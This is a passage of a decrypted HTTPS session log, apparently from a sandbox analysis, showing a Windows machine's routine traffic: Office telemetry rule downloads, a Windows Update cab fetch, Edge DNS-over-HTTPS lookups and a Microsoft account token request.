2024-11-19 23:19:19 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:20 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:20 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: e579fe48-a01e-001e-648c-3a49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231920Z-1777c6cb754wcxkwhC1TEB3c6w00000008t0000000001g24 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:20 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:20 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:20 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:20 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 884d2a23-a01e-00ab-5b8c-3a9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231920Z-185f5d8b95cdcwrthC1NYCy5b800000009a000000000nyhx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:20 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:20 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:20 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:20 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: f909c6c7-c01e-0049-518c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231920Z-185f5d8b95c9mqtvhC1NYCghtc00000009k0000000001vxg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:20 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:20 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:20 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:20 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 8753231e-501e-008f-038c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231920Z-185f5d8b95cx9g8lhC1NYCtgvc00000001vg000000000hhn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:20 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:20 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:20 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: ac6669be-e01e-003c-668c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231920Z-185f5d8b95cjbkr4hC1NYCeu24000000097g00000000e75z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:20 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49759	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:20 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=hdZfxb34K1VdB8v&MD=Of6wc+cb HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-19 23:19:20 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 9174f9d0-688d-4b47-93e7-64a39beea5af MS-RequestId: f6b9ce2d-c05b-48af-9296-d63c9aff7ba4 MS-CV: BEGQylgQPkmgruYu.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 19 Nov 2024 23:19:19 GMT Connection: close Content-Length: 24490
2024-11-19 23:19:20 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-19 23:19:20 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49772	172.64.41.3	443	6472	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:20 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-19 23:19:20 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-19 23:19:20 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 19 Nov 2024 23:19:20 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e53ecb2fd8980d9-EWR alt-svc: h3=":443"; ma=86400
2024-11-19 23:19:20 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 2b 00 04 8e fa 50 23 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom+P#)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49771	172.64.41.3	443	6472	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:20 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-19 23:19:20 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-19 23:19:20 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 19 Nov 2024 23:19:20 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e53ecb2ec9c4372-EWR alt-svc: h3=":443"; ma=86400
2024-11-19 23:19:20 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 2c 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom,()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49773	162.159.61.3	443	6472	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:20 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-19 23:19:20 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-19 23:19:20 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 19 Nov 2024 23:19:20 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e53ecb3dd777c93-EWR alt-svc: h3=":443"; ma=86400
2024-11-19 23:19:20 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 05 00 04 8e fa 48 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomHc)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49758	40.126.32.136	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:20 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-19 23:19:20 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-19 23:19:21 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 19 Nov 2024 23:18:21 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: 7a56d006-77e6-4978-a3f1-ba29ac86ebbe PPServer: PPV: 30 H: SN1PEPF0002FA7D V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 19 Nov 2024 23:19:20 GMT Connection: close Content-Length: 1276
2024-11-19 23:19:21 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml 